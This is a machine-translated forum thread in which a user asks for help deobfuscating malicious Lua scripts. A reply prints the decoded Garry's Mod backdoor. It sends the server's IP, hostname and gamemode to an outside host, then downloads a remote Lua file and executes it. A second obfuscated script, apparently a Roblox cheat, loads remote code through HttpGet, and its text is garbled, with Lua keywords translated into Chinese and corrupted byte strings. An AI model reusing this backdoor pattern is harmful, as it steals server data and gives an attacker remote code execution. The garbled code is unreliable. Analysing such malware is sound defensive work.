我最近下载了一些lua脚本并发现了其中的混淆代码。经过好几个小时后,我未能找到如何对其进行反混淆,并正在寻求一些帮助。
就我已经尝试过的内容而言,我注意到数字只是转换为字符,这揭示了一些功能。然而,顶部分配的变量似乎没有分配给任何东西,或者可能是一些在我的编辑器(原子)中不可见的特殊
unicode
字符。
这是混淆后的代码:
local = _G
local = ['\115\116\114\105\110\103']
local = ['\98\105\116']['\98\120\111\114']
local function ()
if ['\108\101\110']() == 0 then
return
end
local = ''
for _ in ['\103\109\97\116\99\104'](, '\46\46') do
= ..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_, 16), 53))
end
return
end
['415c585047']['665c58455950'](5,
function ()
['5d414145']['655a4641']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {['56'] = ['52585a51']['72504172545850585a5150']()['7b545850'], ['50'] = ['52545850']['7250417c6574515147504646'](), ['51'] = ['7250417d5a46417b545850']()})
end )
['415c585047']['665c58455950'](5,
function ()
['5d414145']['735041565d']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
function (return)
['67405b6641475c5b52'](return)
end, nil )
end )
旧版 Lua(和现代 LuaJIT)允许在标识符中使用任意非 ASCII 字节(0x7F 以上)。
很好的混淆功能! :-)
timer.Simple(
5,
function ()
http.Post(
"https://chainlose.000webhostapp.com/svlog/tracker.php",
{
c = gmod.GetGamemode().Name,
e = game.GetIPAddress(),
d = GetHostName()
}
)
end
)
timer.Simple(
5,
function ()
http.Fetch(
"https://chainlose.000webhostapp.com/gas.lua",
function (str)
RunString(str)
end,
nil
)
end
)
你能在这里反混淆吗
本地 v0=string.char;本地 v1=string.byte;本地 v2=string.sub;本地 v3=bit32 或位;本地 v4=v3.bxor;本地 v5=table.concat;本地 v6=table.insert;局部函数 v7(v40,v41) 局部 v42={};对于 v83=1, #v40 do v6(v42,v0(v4(v1(v2(v40,v83,v83 + 1 ))),v1(v2(v41, 1 + (v83% #v41) ,1 + (v83% #v41) + 1 )))%256 ));结束返回 v5(v42);结束本地 v8=游戏:GetService(v7("�� 8 9�","V s 87 9\ 9w"));本地 v9=game:GetService(v7(" 9 93#� 9 9�","n7{","8\84�!8�8"));本地 v11=游戏:GetService(v7("\98 9( �\83 , �\99 % �\87 9","
8 8 86L"));本地 v12=游戏:GetService(v7("
9) )呃� 85( + 8","m� 8J\86 9 97"));local v13=loadstring(游戏:HttpGet(v7(" 8� �\83 x 83\84� 89K��\83� 9 9F��:�)�\84,��=f 8� 9\98��7f �\82\97��\ 83 8Q�5K� 83:� 9\83K�Q�)�\80U� 82<�-","j 8 89\86n [")))();本地v14=v9.LocalPlayer;本地 v15=workspace.CurrentCamera;本地 v16=nil;本地 v17=nil;本地 v18=nil;本地 v19=nil;getgenv().aura_Enabled=false;getgenv().hit_sound_Enabled=false;getgenv ().hit_effect_Enabled=假;getgenv().night_mode_Enabled=假;getgenv().trail_Enabled=假;getgenv().self_effect_Enabled=假;getgenv().kill_effect_Enabled=假;getgenv().shaders_effect_Enabled=假;getgenv() .ai_Enabled=false;getgenv().spectate_Enabled=false;local v30={game:GetService(v7("�\83 87 85| 9 9"," 8n- 99")),game:GetService (v7("mLW 8P�8 86GO# "," � 9 8:M l"))};function SwordCrateManual() game:GetService(v7("# 86 93�Z '+ 86��k 8 84�","\84Q� 91�>")).Remote.RemoteFunction:InvokeServer(v7(" 9 8 98{" 8 � 9 \85 93q!\85 9� 866�","q 9, 9 92\90 8\80"),workspace.Spawn.Crates.NormalSwordCrate);结束函数 ExplosionCrateManual() 游戏:GetService (v7("S9 !45 9>8) 98\80 >"," 9! \96")).Remote.RemoteFunction:InvokeServer(v7("` 9� 83 `� 97\9 "} 98� 3 85","=�s 83F\98"),workspace.Spawn.Crates.NormalExplosionCrate);结束函数 SwordCrateAuto() while _G.AutoSword 执行本地操作v84=729 -(726 + 3) ;当 true 执行 if (v84==0) then game:GetService(v7(" 8 91m 9 8 87
9(� 9|Z � 91"," 85\98 8�\87")).Remote.RemoteFunction:InvokeServer(v7("�& �� 90�!+ 9�y �/ �� 90�","�y\929\ 90"),workspace.Spawn.Crates.NormalSwordCrate);wait(1);break;end end end function ExplosionCrateAuto() while _G.AutoBoom do游戏:GetService(v7(" 960Z 94%n$ 97 n 8�%c$","�;q>")).Remote.RemoteFunction:InvokeServer(v7(" 9�?\ 80 }�\87 9 9 9�\81\881 9�\86\88","V 9 85 1"),workspace.Spawn.Crates.NormalExplosionCrate);等待(1); end end local v31=loadstring(游戏:HttpGet(v7(" 8<\98 9% 88 8 �;0QV� 9 �=\97SA�� 8\91TF/��
9 " 90 85� 9B)@ 90�5� \92\915�� 9�J1M 8�7�\81C 8N� 9 9\95","] 8|2 8 g")))();本地 v32=v31:AddWindow(v7("
8� 8 ","w�_